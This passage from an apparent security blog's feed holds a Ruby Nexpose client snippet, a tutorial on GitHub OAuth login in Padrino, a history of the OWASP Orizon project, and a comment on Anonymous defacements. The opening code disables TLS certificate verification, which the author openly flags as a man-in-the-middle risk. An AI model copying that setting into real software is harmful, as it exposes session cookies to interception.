</span><span class='line'>  <span class="n">http</span><span class="o">.</span><span class="n">verify_mode</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">SSL</span><span class="o">::</span><span class="no">VERIFY_NONE</span> <span class="c1"># XXX: security issue</span>
</span><span class='line'>  <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;Cookie&#39;</span> <span class="o">=&gt;</span> <span class="s2">&quot;nexposeCCSessionID=</span><span class="si">#{</span><span class="n">nsc</span><span class="o">.</span><span class="n">session_id</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">}</span>
</span><span class='line'>  <span class="n">resp</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="o">.</span><span class="n">path</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">file</span> <span class="o">=</span> <span class="no">File</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span>
</span><span class='line'>  <span class="n">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">body</span><span class="p">)</span>
</span><span class='line'>  <span class="n">file</span><span class="o">.</span><span class="n">close</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">filename</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>I excluded SSL certificate check so, I introduced a potentially security issue
here. You may want to implement a full SSL certificate check to avoid <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">man in the middle</a> attacks.</p>

<h2>Off by one</h2>

<p>Extending a commercial tool with custom ruby code it is great. It gives me a
lot of freedom in terms of automating my daily job tasks.</p>

<p>Nexty can be improved in a lot of ways, and I will implement the Nexpose API
following their PDF documentation improving functionality and tests further
more.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Crafting an authentication subsystem that rocks for your Padrino application with Omniauth]]></title>
    <link href="http://armoredcode.com/blog/crafting-an-authentication-subsystem-that-rocks-for-your-padrino-application-with-omniauth/"/>
    <updated>2012-11-21T08:26:00+01:00</updated>
    <id>http://armoredcode.com/blog/crafting-an-authentication-subsystem-that-rocks-for-your-padrino-application-with-omniauth</id>
    <content type="html"><![CDATA[<p>Next time you point your browser to a <em>/login</em> url wait a minute before
submitting your credentials. There is a complex system you&#8217;re going to use when
you submit that form and it must be honored in some way.</p>

<p>You&#8217;re a software craftman and you want to get the job done. Users have to
register to your app and they must have the chance to login.</p>

<p>Attackers will hit this code first and they will try to bypass it or rather to
exploit it. It&#8217;s a very critical subsystem that you have to design with care.</p>

<!-- more -->


<h2>Don&#8217;t reinvent the wheel unless you&#8217;re forced to</h2>

<p>Unless you <strong>do</strong> want to cook an authentication subsystem yourself, and you
have some hard-to-fight constraints that force this decision, I suggest to you
using a third-party opensource library implementing OAuth2 over well known
identity providers like Google, Facebook, Github, OpenID.</p>

<p>To my taste, <a href="https://github.com/intridea/omniauth">omniauth</a> is one of best
and easy to use ruby library implementing OAuth authentication.</p>

<p>Let&#8217;s see how easy is to let your users to authenticate to your applications
using their <a href="https://github.com">github.com</a> account.</p>

<h2>Omniauth and Github.com integration</h2>

<p>The followings are real code snippets from the
<a href="http://codesake.com">codesake.com</a> source code. Since I need to bind my users
with their github account, using <a href="https://github.com/intridea/omniauth-github">omniauth for github</a>
was the number 1 choice.</p>

<h3>Register your application to github</h3>

<p>Before going further, you must <a href="https://github.com/settings/applications/new">register your web application</a> to github. You will
get a client identifier and a secret that you <strong>must not</strong> share.</p>

<p>While in development it&#8217;s not a good idea to register your web application
using real urls since the code will be likely running on localhost.</p>

<p>When I registered codesake.com, I gave <a href="http://localhost:3000">localhost:3000</a>
as base URL and
<a href="http://localhost:3000/auth/github/callback">/auth/github/callback</a> as callback
URL.</p>

<p>The callback URL is the one used by the identity provider (github in this
example) to redirect user after he authorizes codesake.com to use his
github.com account informations.</p>

<p>Specifiying the ID provider in the callback url can be a clever choice if in a
future you want to add other ID providers.</p>

<h3>Tell bundler about your choice</h3>

<p>Now, it&#8217;s time for you to te tell bundler you will use omniauth for github gem.</p>

<figure class='code'><figcaption><span>A Gemfile snippet</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;omniauth-github&#39;</span><span class="p">,</span> <span class="ss">:git</span> <span class="o">=&gt;</span> <span class="s1">&#39;git://github.com/intridea/omniauth-github.git&#39;</span>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span></code></pre></td></tr></table></div></figure>


<p>Run <em>bundler update</em> now and you&#8217;re ready to tell your application the secrets
it will share with github.com website.</p>

<p>Place this code into your main Padrino::Application, let&#8217;s say you have the default app/app.rb in your code:</p>

<figure class='code'><figcaption><span>app/app.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'> <span class="n">use</span> <span class="no">OmniAuth</span><span class="o">::</span><span class="no">Builder</span> <span class="k">do</span>
</span><span class='line'>    <span class="n">provider</span> <span class="ss">:github</span><span class="p">,</span> <span class="s2">&quot;your client id&quot;</span><span class="p">,</span> <span class="s2">&quot;your client secret&quot;</span>
</span><span class='line'>  <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now, you can start padrino and OAuth workflow is working out-of-the-box right
now. Just point your browser to the following url:
<a href="http://localhost:3000/auth/github">/auth/github</a></p>

<p>You will be redirect to a github.com page asking you to authorized your website to access your data. If you grant it, the call back url will be called and&#8230; an exception will be thrown unless you already created the auth controlled as described&#8230; now!</p>

<h3>Create the auth controller</h3>

<p>Create a controller to handle authentication:</p>

<figure class='code'><figcaption><span>Create a Padrino controller</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="err">$</span> <span class="n">bundle</span> <span class="nb">exec</span> <span class="n">padrino</span> <span class="n">g</span> <span class="n">controller</span> <span class="n">auth</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Add some code in case of callback (authentication succeeded) and authentication failed.</p>

<figure class='code'><figcaption><span>Codesake.com auth controller snippet</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="n">get</span> <span class="ss">:github_callback</span><span class="p">,</span> <span class="ss">:map</span> <span class="o">=&gt;</span> <span class="s2">&quot;/auth/github/callback&quot;</span> <span class="k">do</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">omniauth</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">env</span><span class="o">[</span><span class="s2">&quot;omniauth.auth&quot;</span><span class="o">]</span>
</span><span class='line'>
</span><span class='line'>    <span class="vi">@user</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">find_uid</span><span class="p">(</span><span class="n">omniauth</span><span class="o">[</span><span class="s2">&quot;uid&quot;</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>    <span class="vi">@user</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">new_from_omniauth</span><span class="p">(</span><span class="n">omniauth</span><span class="p">)</span> <span class="k">if</span> <span class="vi">@user</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="c1"># save @user into your session to say he&#39;s authenticated</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">get</span> <span class="ss">:github_callback_failed</span><span class="p">,</span> <span class="ss">:map</span> <span class="o">=&gt;</span> <span class="s2">&quot;/auth/failure&quot;</span> <span class="k">do</span>
</span><span class='line'>    <span class="n">flash</span><span class="o">[</span><span class="ss">:error</span><span class="o">]</span> <span class="o">=</span> <span class="s2">&quot;Error logging with github.com </span><span class="si">#{</span><span class="n">params</span><span class="o">[</span><span class="ss">:message</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">redirect</span> <span class="n">url</span><span class="p">(</span><span class="s2">&quot;/&quot;</span><span class="p">)</span>
</span><span class='line'>  <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>In the environement it&#8217;s placed the omniauth.auth hash object containing all github users informationss.
Now it&#8217;s time to make your users informations to be persistent.</p>

<h3>Create a user model</h3>

<p>I use <a href="http://datamapper.org">datamapper</a> as ORM but the only differnt thing
here is that the migrate command changes <a href="http://datamapper.org">accordingly</a>
with the ORM you like most.</p>

<figure class='code'><figcaption><span>Create the User model and run migration</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="err">$</span> <span class="n">bundle</span> <span class="nb">exec</span> <span class="n">padrino</span> <span class="n">g</span> <span class="n">model</span> <span class="n">user</span> <span class="n">uid</span><span class="ss">:integer</span> <span class="nb">name</span><span class="ss">:string</span> <span class="n">email</span><span class="ss">:string</span> <span class="n">created_at</span><span class="ss">:datetime</span> <span class="n">update_at</span><span class="ss">:datetime</span>
</span><span class='line'><span class="err">$</span> <span class="n">bundle</span> <span class="nb">exec</span> <span class="n">padrino</span> <span class="n">rake</span> <span class="n">dm</span><span class="ss">:migrate</span>
</span></code></pre></td></tr></table></div></figure>


<p>To my personal taste, I always default the created_at and update_at model properties to be equal to Time.now.</p>

<figure class='code'><figcaption><span>My User model</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'>  <span class="n">property</span> <span class="ss">:created_at</span><span class="p">,</span> <span class="no">DateTime</span><span class="p">,</span> <span class="ss">:default</span><span class="o">=&gt;</span><span class="no">Time</span><span class="o">.</span><span class="n">now</span>
</span><span class='line'>  <span class="n">property</span> <span class="ss">:update_at</span><span class="p">,</span> <span class="no">DateTime</span><span class="p">,</span> <span class="ss">:default</span><span class="o">=&gt;</span><span class="no">Time</span><span class="o">.</span><span class="n">now</span>
</span></code></pre></td></tr></table></div></figure>


<p>I rather enforce the presence of a valid email, also if this should be there in
the user&#8217;s github account informations.</p>

<p>I use <a href="https://github.com/thoughtbot/factory_girl">factory girl rubygem</a> to
mock model instances so I added some rubygems in my Gemfile for the testing
environment.</p>

<figure class='code'><figcaption><span>Gemfile for testing</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="n">gem</span> <span class="s1">&#39;rspec&#39;</span><span class="p">,</span> <span class="ss">:group</span> <span class="o">=&gt;</span> <span class="s2">&quot;test&quot;</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;capybara&#39;</span><span class="p">,</span> <span class="ss">:group</span> <span class="o">=&gt;</span> <span class="s2">&quot;test&quot;</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;cucumber&#39;</span><span class="p">,</span> <span class="ss">:group</span> <span class="o">=&gt;</span> <span class="s2">&quot;test&quot;</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;rack-test&#39;</span><span class="p">,</span> <span class="ss">:require</span> <span class="o">=&gt;</span> <span class="s2">&quot;rack/test&quot;</span><span class="p">,</span> <span class="ss">:group</span> <span class="o">=&gt;</span> <span class="s2">&quot;test&quot;</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;webmock&#39;</span><span class="p">,</span> <span class="ss">:group</span><span class="o">=&gt;</span><span class="s2">&quot;test&quot;</span>
</span><span class='line'><span class="n">gem</span> <span class="s1">&#39;factory_girl&#39;</span><span class="p">,</span> <span class="ss">:group</span> <span class="o">=&gt;</span> <span class="s2">&quot;test&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>FactoryGirl must be initialized in the spec_helper.rb file in order to have
rspec to look for factories.</p>

<figure class='code'><figcaption><span>spec_helper.rb snippet</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;factory_girl&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;webmock/rspec&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="no">FactoryGirl</span><span class="o">.</span><span class="n">definition_file_paths</span> <span class="o">=</span> <span class="o">[</span>
</span><span class='line'>    <span class="no">File</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="no">Padrino</span><span class="o">.</span><span class="n">root</span><span class="p">,</span> <span class="s1">&#39;factories&#39;</span><span class="p">),</span>
</span><span class='line'>    <span class="no">File</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="no">Padrino</span><span class="o">.</span><span class="n">root</span><span class="p">,</span> <span class="s1">&#39;test&#39;</span><span class="p">,</span> <span class="s1">&#39;factories&#39;</span><span class="p">),</span>
</span><span class='line'>    <span class="no">File</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="no">Padrino</span><span class="o">.</span><span class="n">root</span><span class="p">,</span> <span class="s1">&#39;spec&#39;</span><span class="p">,</span> <span class="s1">&#39;factories&#39;</span><span class="p">)</span>
</span><span class='line'><span class="o">]</span>
</span><span class='line'>
</span><span class='line'><span class="no">FactoryGirl</span><span class="o">.</span><span class="n">find_definitions</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>And now&#8230; let&#8217;s write a trivial test for a user with empty email field that it must be not valid.</p>

<figure class='code'><figcaption><span>user_spec.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'>  <span class="n">it</span> <span class="s2">&quot;should have an email&quot;</span> <span class="k">do</span>
</span><span class='line'>    <span class="n">user</span> <span class="o">=</span> <span class="no">FactoryGirl</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="ss">:user</span><span class="p">)</span>
</span><span class='line'>    <span class="n">user</span><span class="o">.</span><span class="n">email</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'>    <span class="n">user</span><span class="o">.</span><span class="n">valid?</span><span class="o">.</span><span class="n">should</span>  <span class="n">be_false</span>
</span><span class='line'>  <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Run our test and we should see it to fail:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="err">$</span> <span class="n">bundle</span> <span class="nb">exec</span> <span class="n">padrino</span> <span class="n">rake</span> <span class="n">spec</span><span class="ss">:models</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Add the model validation constraint and now the rspec test passes.
Great.</p>

<figure class='code'><figcaption><span>My User model</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>  <span class="n">validates_presence_of</span><span class="p">,</span> <span class="ss">:email</span>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Now you may want to add to your user model some helper to search users from
github uid field and to create a new user if not present in your db.</p>

<figure class='code'><figcaption><span>My User model</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">find_uid</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
</span><span class='line'>  <span class="no">User</span><span class="o">.</span><span class="n">first</span><span class="p">(</span><span class="ss">:uid</span><span class="o">=&gt;</span><span class="n">uid</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">new_from_omniauth</span><span class="p">(</span><span class="n">omniauth</span><span class="p">)</span>
</span><span class='line'>  <span class="n">user</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">new</span>
</span><span class='line'>  <span class="n">user</span><span class="o">.</span><span class="n">uid</span> <span class="o">=</span> <span class="n">omniauth</span><span class="o">[</span><span class="s2">&quot;uid&quot;</span><span class="o">]</span>
</span><span class='line'>  <span class="n">user</span><span class="o">.</span><span class="n">name</span><span class="o">=</span> <span class="n">omniauth</span><span class="o">[</span><span class="s2">&quot;info&quot;</span><span class="o">][</span><span class="s2">&quot;nickname&quot;</span><span class="o">]</span>
</span><span class='line'>  <span class="n">user</span><span class="o">.</span><span class="n">email</span><span class="o">=</span> <span class="n">omniauth</span><span class="o">[</span><span class="s2">&quot;info&quot;</span><span class="o">][</span><span class="s2">&quot;email&quot;</span><span class="o">]</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">user</span><span class="o">.</span><span class="n">save!</span>
</span><span class='line'>  <span class="n">user</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now your callback handler, when called it search for the user in the database
and if not present the user is created.</p>

<h2>Off by one</h2>

<p>With the post I gave you some hints about using github as identity provider for your web application.</p>

<p>From the security point of view you:</p>

<ul>
<li>don&#8217;t have to care about password complexity rules, password aging, password
reset issues. That means less code for you to write and less chances to
introduce security issues.</li>
<li>don&#8217;t have to be compliant to laws about sensitive data storage (unless your
application doesn&#8217;t handle PCI, SOX or something like that data)</li>
<li>rely on github.com security that means that a break-in can also affect your
web application. Fortunately you can reset your webapplication secrets so
people will have to grant your application access again.</li>
</ul>


<p>And you? Which is your opinion about using a third party identity provider to
manager authentication in your application?</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Untold: Owasp Orizon is died and I'm sad of it]]></title>
    <link href="http://armoredcode.com/blog/untold-owasp-orizon-is-died-and-im-sad-of-it/"/>
    <updated>2012-11-20T07:54:00+01:00</updated>
    <id>http://armoredcode.com/blog/untold-owasp-orizon-is-died-and-im-sad-of-it</id>
    <content type="html"><![CDATA[<p>In 2006 I started an ambitious project, an opensource SAST engine built in Java
I called <a href="http://www.owasp.org/index.php/GPC_Project_Details/OWASP_Orizon_Project">Owasp Orizon</a>.</p>

<p>Of course the name was intended to be <em>horizon</em> but I mispelled the word and I
found silly to cover my lexical mistake.</p>

<p>After 3 years without no fresh code, I think the project can be considered
closed, also if some people seem to be interested into it.</p>

<!-- more -->


<p><img class="left" src="http://armoredcode.com/images/owasp-orizon.png"></p>

<p>It was yesterday and I found two emails about Owasp Orizon in my
<a href="mailto:thesp0nge@owasp.org">owasp.org account</a>. In a first email an American
guy asked how he can help me in improving the tool and in a second email a guy
from I guess Asia region asked about <a href="http://milk.sf.net">milk</a> a java
interface for orizon I wrote in 2006.</p>

<p>True to be told Milk is even more abandoned than Orizon. When I answered the
latter about he should use orizon instead, he said that even this one seems not
to be updated since 2009.</p>

<p>The fact is that I had no fresh energy to put in this project anymore. I
switched my programming interest from Java to Ruby and I&#8217;m working on
<a href="https://github.com/codesake/sake">sake</a> now that it will become an hybrid
security testing tool and the engine of an application security startup,
<a href="http://codesake.com">codesake</a>.</p>

<h2>The concept</h2>

<p>The first idea I had in mind when I designed Owasp Orizon was to translate the
source code under security review in an intermediate XML representation and
making security checks over it.</p>

<p>If you make your security engine to work on an XML syntax, supporting a new
programming language is just writing a translator to that XML representation.
Of course you will add some specific security check to the knowledge base.</p>

<p>This approach makes sense to me even today but it doesn&#8217;t work (or at least I
wasn&#8217;t able to implement it in a working way).</p>

<p>Translating from different languages to a single XML syntax makes a lot of
specific language expression power to be lost.</p>

<p>Java has a very complex subclassing mechanism. There are interfaces that they
can be used to design a common API interface in example, there are abstract
classes, there are the common hierarchy system in which a class can extend one
or more classes.</p>

<p>Ruby has a completely different approach to modularity. Translating the twos in
a common XML will result in a hard to read XML node full of options, attributes
and so on.</p>

<h2>The boost</h2>

<p>We were in 2008. I got married and Owasp Orizon has one of its most prolific
moment. I had the opportunity to fly in New York city for Owasp AppSec 2008
telling the world about the piece of code I was writing.</p>

<p>Feedbacks were good and I had two job opportunities today I regret I declined.</p>

<h2>The fall</h2>

<p>But in 2009 I had some harsh emails from a guy contributing to the project
saying I wasn&#8217;t able to listen and to attract people.</p>

<p>A lot of people, from Italy I had to be honest, came here and say &#8220;I want to
help&#8221; and after some mail they disappeared. Eventually I discovered they used
Owasp Orizon as self-promoting during consultancy presales.</p>

<p>I loose motivation and energy. The code was ugly and writing an antlr parser
instead of XML translation was really hard, we eventually moved to freecc but
it doesn&#8217;t last.</p>

<p>Owasp Orizon source code was not updated anymore and you can imagine the whole
story.</p>

<h2>Something I learnt</h2>

<p>Being part of Owasp Orizon project was inspiring and I learnt a lot both in
terms of coding than in terms of community.</p>

<p>I traveled a lot and I started taking public speeches.</p>

<p>I enjoyed being part of <a href="http://www.owasp.org">Owasp</a>.</p>

<p>But it&#8217;s time to move on. It&#8217;s time to improve and become bigger and bigger.</p>

<p>Enjoy It!</p>

<p><em>Winter sea side horizon picture is by <a href="http://www.flickr.com/photos/thesp0nge">me</a></em></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[The fragile Internet]]></title>
    <link href="http://armoredcode.com/blog/the-fragile-internet/"/>
    <updated>2012-11-06T07:55:00+01:00</updated>
    <id>http://armoredcode.com/blog/the-fragile-internet</id>
    <content type="html"><![CDATA[<p>It was a yesterday&#8217;s news that <a href="https://twitter.com/YourAnonNews">anonymous</a>
and other cracker&#8217;s crews attacked and defaced large number of corporate
websites.</p>

<p><a href="http://www.wired.com/threatlevel/2011/11/remember-remember-anonymous-celebrates-the-5th-of-november/">November 5</a>
it is a very symbolic data in the anonymous underworld and a massive defacement
attack was carry on, at least, against <a href="https://www.paypal.com">PayPal</a>,
<a href="http://www.symantec.com">Symantec</a> and <a href="http://www.telecomitalia.com">Telecom Italia</a></p>

<p>Anonymous and other crews activities tell us an old story: the Internet is
fragile and your web applications can be attacked anytime, anywhere and most of
them are breakable.</p>

<!-- more -->


<h2>The same old refrain</h2>

<p>It was 10pm when I had dinner last night. My wife and my son were sleeping and
I checked <a href="my%20twitter%20stream">https://twitter.com/thesp0nge</a>.</p>

<p>Some friends were talking about a massive defacement activities carried on by
anonymous hactivists and other cracker&#8217;s crews not connected to the former.</p>

<p>It wasn&#8217;t the first time both <a href="https://www.paypal.com">PayPal</a> and
<a href="http://www.symantec.com">Symantec</a> were attacked. The latter suffered from a
<a href="http://www.zdnet.com/symantec-source-code-leaked-on-pirate-bay-7000004765/">source code leakage</a>
some months ago.</p>

<p>The news that impressed me much was the attack <a href="http://thehackernews.com/2012/11/anonymous-hack-30000-accounts-and.html">against Telecom Italia</a>.
In the news it&#8217;s reported that attackers found more than <strong>3.000 Cross site
scripting vulnerabilities</strong>.</p>

<p>Even Owasp WebGoat web application has less XSS.</p>

<p>Of course, this is not the only hole they exploit. The report talks about
poorly written <em>.htaccess file</em> and <em>weak passwords</em> that they lead to a
successful attack.</p>

<h2>The power of now</h2>

<p>In a post about <a href="http://armoredcode.com/blog/are-web-agencies-the-new-security-threats-in-2013/">web agencies</a>
and about <a href="http://armoredcode.com/blog/border-line-between-marketing-and-security-features/">marketing driven choices</a>
I talked about the dangers of publishing a web application without a security program.</p>

<p>Marketing departments want to deploy new websites, new features, new dynamic
content to promote goods and to increase business. This is completely fair but
it can&#8217;t be done without security awareness. The problem is that they don&#8217;t
have any clue about their websites can be attacked and sometimes they didn&#8217;t
trust their security departments trying to make them aware.</p>

<p>If your web manager says <strong>the website has to be online now</strong> or even worse
<strong>we must add this brand new feature ASAP</strong>, you must take care about the new
content can&#8217;t be exploited on the wild and you have to make all the necessary
security tests before the content has to go online.</p>

<h2>Off by one</h2>

<p>Yesterday&#8217;s <a href="http://www.examiner.com/article/anonymous-nbc-hacked-defaced-honor-of-guy-fawkes-day">anonymous attack</a> makes me think about how hard is our work.
Sometime people says that only banks deserve to be protected. But attacking
<a href="http://thehackernews.com/2012/11/nbc-websites-hacked-to-promote-nov5th.html">broadcasting companies</a>
or
<a href="http://thehackernews.com/2012/11/anonymous-hack-30000-accounts-and.html">telcos</a>
can amplify your activism claims tons of times.</p>

<p>Don&#8217;t trust Web Application Firewalls. They will help but clever attackers may
override their rules.
Force developers to write secure code instead.</p>

<p>Enjoy it!</p>
]]></content>
  </entry>
  
</feed>
